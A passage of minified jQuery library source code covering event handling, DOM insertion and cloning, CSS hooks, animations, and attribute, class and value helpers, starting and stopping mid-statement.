0===g[e]&&(g[e]=d.needsContext?r(e,this).index(j)>-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i<b.length&&h.push({elem:j,handlers:b.slice(i)}),h},addProp:function(a,b){Object.defineProperty(r.Event.prototype,a,{enumerable:!0,configurable:!0,get:r.isFunction(b)?function(){if(this.originalEvent)return b(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[a]},set:function(b){Object.defineProperty(this,a,{enumerable:!0,configurable:!0,writable:!0,value:b})}})},fix:function(a){return a[r.expando]?a:new r.Event(a)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==xa()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===xa()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&B(this,"input"))return this.click(),!1},_default:function(a){return B(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}}},r.removeEvent=function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)},r.Event=function(a,b){return this instanceof r.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?va:wa,this.target=a.target&&3===a.target.nodeType?a.target.parentNode:a.target,this.currentTarget=a.currentTarget,this.relatedTarget=a.relatedTarget):this.type=a,b&&r.extend(this,b),this.timeStamp=a&&a.timeStamp||r.now(),void(this[r.expando]=!0)):new r.Event(a,b)},r.Event.prototype={constructor:r.Event,isDefaultPrevented:wa,isPropagationStopped:wa,isImmediatePropagationStopped:wa,isSimulated:!1,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=va,a&&!this.isSimulated&&a.preventDefault()},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=va,a&&!this.isSimulated&&a.stopPropagation()},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=va,a&&!this.isSimulated&&a.stopImmediatePropagation(),this.stopPropagation()}},r.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(a){var b=a.button;return null==a.which&&sa.test(a.type)?null!=a.charCode?a.charCode:a.keyCode:!a.which&&void 0!==b&&ta.test(a.type)?1&b?1:2&b?3:4&b?2:0:a.which}},r.event.addProp),r.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){r.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||r.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),r.fn.extend({on:function(a,b,c,d){return ya(this,a,b,c,d)},one:function(a,b,c,d){return ya(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,r(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=wa),this.each(function(){r.event.remove(this,a,c,b)})}});var za=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/<script|<style|<link/i,Ba=/checked\s*(?:[^=]|=\s*.checked.)/i,Ca=/^true\/(.*)/,Da=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c<d;c++)r.event.add(b,e,j[e][c])}X.hasData(a)&&(h=X.access(a),i=r.extend({},h),X.set(b,i))}}function Ia(a,b){var c=b.nodeName.toLowerCase();"input"===c&&ja.test(a.type)?b.checked=a.checked:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}function Ja(a,b,c,d){b=g.apply([],b);var e,f,h,i,j,k,l=0,m=a.length,n=m-1,q=b[0],s=r.isFunction(q);if(s||m>1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l<m;l++)j=e,l!==n&&(j=r.clone(j,!0,!0),i&&r.merge(h,na(j,"script"))),c.call(a[l],j,l);if(i)for(k=h[h.length-1].ownerDocument,r.map(h,Ga),l=0;l<i;l++)j=h[l],la.test(j.type||"")&&!W.access(j,"globalEval")&&r.contains(k,j)&&(j.src?r._evalUrl&&r._evalUrl(j.src):p(j.textContent.replace(Da,""),k))}return a}function Ka(a,b,c){for(var d,e=b?r.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||r.cleanData(na(d)),d.parentNode&&(c&&r.contains(d.ownerDocument,d)&&oa(na(d,"script")),d.parentNode.removeChild(d));return a}r.extend({htmlPrefilter:function(a){return a.replace(za,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d<e;d++)Ia(f[d],g[d]);if(b)if(c)for(f=f||na(a),g=g||na(h),d=0,e=f.length;d<e;d++)Ha(f[d],g[d]);else Ha(a,h);return g=na(h,"script"),g.length>0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c<d;c++)b=this[c]||{},1===b.nodeType&&(r.cleanData(na(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ja(this,arguments,function(b){var c=this.parentNode;r.inArray(this,a)<0&&(r.cleanData(na(this)),c&&c.replaceChild(b,this))},a)}}),r.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){r.fn[a]=function(a){for(var c,d=[],e=r(a),f=e.length-1,g=0;g<=f;g++)c=g===f?this:this.clone(!0),r(e[g])[b](c),h.apply(d,c.get());return this.pushStack(d)}});var La=/^margin/,Ma=new RegExp("^("+aa+")(?!px)[a-z%]+$","i"),Na=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)};!function(){function b(){if(i){i.style.cssText="box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",i.innerHTML="",ra.appendChild(h);var b=a.getComputedStyle(i);c="1%"!==b.top,g="2px"===b.marginLeft,e="4px"===b.width,i.style.marginRight="50%",f="4px"===b.marginRight,ra.removeChild(h),i=null}}var c,e,f,g,h=d.createElement("div"),i=d.createElement("div");i.style&&(i.style.backgroundClip="content-box",i.cloneNode(!0).style.backgroundClip="",o.clearCloneStyle="content-box"===i.style.backgroundClip,h.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",h.appendChild(i),r.extend(o,{pixelPosition:function(){return b(),c},boxSizingReliable:function(){return b(),e},pixelMarginRight:function(){return b(),f},reliableMarginLeft:function(){return b(),g}}))}();function Oa(a,b,c){var d,e,f,g,h=a.style;return c=c||Na(a),c&&(g=c.getPropertyValue(b)||c[b],""!==g||r.contains(a.ownerDocument,a)||(g=r.style(a,b)),!o.pixelMarginRight()&&Ma.test(g)&&La.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0!==g?g+"":g}function Pa(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Qa=/^(none|table(?!-c[ea]).+)/,Ra=/^--/,Sa={position:"absolute",visibility:"hidden",display:"block"},Ta={letterSpacing:"0",fontWeight:"400"},Ua=["Webkit","Moz","ms"],Va=d.createElement("div").style;function Wa(a){if(a in Va)return a;var b=a[0].toUpperCase()+a.slice(1),c=Ua.length;while(c--)if(a=Ua[c]+b,a in Va)return a}function Xa(a){var b=r.cssProps[a];return b||(b=r.cssProps[a]=Wa(a)||a),b}function Ya(a,b,c){var d=ba.exec(b);return d?Math.max(0,d[2]-(c||0))+(d[3]||"px"):b}function Za(a,b,c,d,e){var f,g=0;for(f=c===(d?"border":"content")?4:"width"===b?1:0;f<4;f+=2)"margin"===c&&(g+=r.css(a,c+ca[f],!0,e)),d?("content"===c&&(g-=r.css(a,"padding"+ca[f],!0,e)),"margin"!==c&&(g-=r.css(a,"border"+ca[f]+"Width",!0,e))):(g+=r.css(a,"padding"+ca[f],!0,e),"padding"!==c&&(g+=r.css(a,"border"+ca[f]+"Width",!0,e)));return g}function $a(a,b,c){var d,e=Na(a),f=Oa(a,b,e),g="border-box"===r.css(a,"boxSizing",!1,e);return Ma.test(f)?f:(d=g&&(o.boxSizingReliable()||f===a.style[b]),"auto"===f&&(f=a["offset"+b[0].toUpperCase()+b.slice(1)]),f=parseFloat(f)||0,f+Za(a,b,c||(g?"border":"content"),d,e)+"px")}r.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Oa(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":"cssFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=r.camelCase(b),i=Ra.test(b),j=a.style;return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],void 0===c?g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:j[b]:(f=typeof c,"string"===f&&(e=ba.exec(c))&&e[1]&&(c=fa(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(r.cssNumber[h]?"":"px")),o.clearCloneStyle||""!==c||0!==b.indexOf("background")||(j[b]="inherit"),g&&"set"in g&&void 0===(c=g.set(a,c,d))||(i?j.setProperty(b,c):j[b]=c)),void 0)}},css:function(a,b,c,d){var e,f,g,h=r.camelCase(b),i=Ra.test(b);return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],g&&"get"in g&&(e=g.get(a,!0,c)),void 0===e&&(e=Oa(a,b,d)),"normal"===e&&b in Ta&&(e=Ta[b]),""===c||c?(f=parseFloat(e),c===!0||isFinite(f)?f||0:e):e}}),r.each(["height","width"],function(a,b){r.cssHooks[b]={get:function(a,c,d){if(c)return!Qa.test(r.css(a,"display"))||a.getClientRects().length&&a.getBoundingClientRect().width?$a(a,b,d):ea(a,Sa,function(){return $a(a,b,d)})},set:function(a,c,d){var e,f=d&&Na(a),g=d&&Za(a,b,d,"border-box"===r.css(a,"boxSizing",!1,f),f);return g&&(e=ba.exec(c))&&"px"!==(e[3]||"px")&&(a.style[b]=c,c=r.css(a,b)),Ya(a,c,g)}}}),r.cssHooks.marginLeft=Pa(o.reliableMarginLeft,function(a,b){if(b)return(parseFloat(Oa(a,"marginLeft"))||a.getBoundingClientRect().left-ea(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}))+"px"}),r.each({margin:"",padding:"",border:"Width"},function(a,b){r.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];d<4;d++)e[a+ca[d]+b]=f[d]||f[d-2]||f[0];return e}},La.test(a)||(r.cssHooks[a+b].set=Ya)}),r.fn.extend({css:function(a,b){return T(this,function(a,b,c){var d,e,f={},g=0;if(Array.isArray(b)){for(d=Na(a),e=b.length;g<e;g++)f[b[g]]=r.css(a,b[g],!1,d);return f}return void 0!==c?r.style(a,b,c):r.css(a,b)},a,b,arguments.length>1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f<g;f++)if(d=e[f].call(c,b,a))return d}function ib(a,b,c){var d,e,f,g,h,i,j,k,l="width"in b||"height"in b,m=this,n={},o=a.style,p=a.nodeType&&da(a),q=W.get(a,"fxshow");c.queue||(g=r._queueHooks(a,"fx"),null==g.unqueued&&(g.unqueued=0,h=g.empty.fire,g.empty.fire=function(){g.unqueued||h()}),g.unqueued++,m.always(function(){m.always(function(){g.unqueued--,r.queue(a,"fx").length||g.empty.fire()})}));for(d in b)if(e=b[d],cb.test(e)){if(delete b[d],f=f||"toggle"===e,e===(p?"hide":"show")){if("show"!==e||!q||void 0===q[d])continue;p=!0}n[d]=q&&q[d]||r.style(a,d)}if(i=!r.isEmptyObject(b),i||!r.isEmptyObject(n)){l&&1===a.nodeType&&(c.overflow=[o.overflow,o.overflowX,o.overflowY],j=q&&q.display,null==j&&(j=W.get(a,"display")),k=r.css(a,"display"),"none"===k&&(j?k=j:(ia([a],!0),j=a.style.display||j,k=r.css(a,"display"),ia([a]))),("inline"===k||"inline-block"===k&&null!=j)&&"none"===r.css(a,"float")&&(i||(m.done(function(){o.display=j}),null==j&&(k=o.display,j="none"===k?"":k)),o.display="inline-block")),c.overflow&&(o.overflow="hidden",m.always(function(){o.overflow=c.overflow[0],o.overflowX=c.overflow[1],o.overflowY=c.overflow[2]})),i=!1;for(d in n)i||(q?"hidden"in q&&(p=q.hidden):q=W.access(a,"fxshow",{display:j}),f&&(q.hidden=!p),p&&ia([a],!0),m.done(function(){p||ia([a]),W.remove(a,"fxshow");for(d in n)r.style(a,d,n[d])})),i=hb(p?q[d]:0,d,m),d in q||(q[d]=i.start,p&&(i.end=i.start,i.start=0))}}function jb(a,b){var c,d,e,f,g;for(c in a)if(d=r.camelCase(c),e=b[d],f=a[c],Array.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=r.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function kb(a,b,c){var d,e,f=0,g=kb.prefilters.length,h=r.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=ab||fb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;g<i;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),f<1&&i?c:(i||h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:r.extend({},b),opts:r.extend(!0,{specialEasing:{},easing:r.easing._default},c),originalProperties:b,originalOptions:c,startTime:ab||fb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=r.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;c<d;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(jb(k,j.opts.specialEasing);f<g;f++)if(d=kb.prefilters[f].call(j,a,k,j.opts))return r.isFunction(d.stop)&&(r._queueHooks(j.elem,j.opts.queue).stop=r.proxy(d.stop,d)),d;return r.map(k,hb,j),r.isFunction(j.opts.start)&&j.opts.start.call(a,j),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always),r.fx.timer(r.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j}r.Animation=r.extend(kb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return fa(c.elem,a,ba.exec(b),c),c}]},tweener:function(a,b){r.isFunction(a)?(b=a,a=["*"]):a=a.match(L);for(var c,d=0,e=a.length;d<e;d++)c=a[d],kb.tweeners[c]=kb.tweeners[c]||[],kb.tweeners[c].unshift(b)},prefilters:[ib],prefilter:function(a,b){b?kb.prefilters.unshift(a):kb.prefilters.push(a)}}),r.speed=function(a,b,c){var d=a&&"object"==typeof a?r.extend({},a):{complete:c||!c&&b||r.isFunction(a)&&a,duration:a,easing:c&&b||b&&!r.isFunction(b)&&b};return r.fx.off?d.duration=0:"number"!=typeof d.duration&&(d.duration in r.fx.speeds?d.duration=r.fx.speeds[d.duration]:d.duration=r.fx.speeds._default),null!=d.queue&&d.queue!==!0||(d.queue="fx"),d.old=d.complete,d.complete=function(){r.isFunction(d.old)&&d.old.call(this),d.queue&&r.dequeue(this,d.queue)},d},r.fn.extend({fadeTo:function(a,b,c,d){return this.filter(da).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=r.isEmptyObject(a),f=r.speed(b,c,d),g=function(){var b=kb(this,r.extend({},a),f);(e||W.get(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=r.timers,g=W.get(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&db.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||r.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=W.get(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=r.timers,g=d?d.length:0;for(c.finish=!0,r.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;b<g;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),r.each(["toggle","show","hide"],function(a,b){var c=r.fn[b];r.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(gb(b,!0),a,d,e)}}),r.each({slideDown:gb("show"),slideUp:gb("hide"),slideToggle:gb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){r.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),r.timers=[],r.fx.tick=function(){var a,b=0,c=r.timers;for(ab=r.now();b<c.length;b++)a=c[b],a()||c[b]!==a||c.splice(b--,1);c.length||r.fx.stop(),ab=void 0},r.fx.timer=function(a){r.timers.push(a),r.fx.start()},r.fx.interval=13,r.fx.start=function(){bb||(bb=!0,eb())},r.fx.stop=function(){bb=null},r.fx.speeds={slow:600,fast:200,_default:400},r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement("input"),b=d.createElement("select"),c=b.appendChild(d.createElement("option"));a.type="checkbox",o.checkOn=""!==a.value,o.optSelected=c.selected,a=d.createElement("input"),a.value="t",a.type="radio",o.radioValue="t"===a.value}();var lb,mb=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return T(this,r.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),
null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d<i;d++)if(c=e[d],(c.selected||d===f)&&!c.disabled&&(!c.parentNode.disabled||!B(c.parentNode,"optgroup"))){if(b=r(c).val(),g)return b;h.push(b)}return h},set:function(a,b){var c,d,e=a.options,f=r.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=r.inArray(r.valHooks.option.get(d),f)>-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var 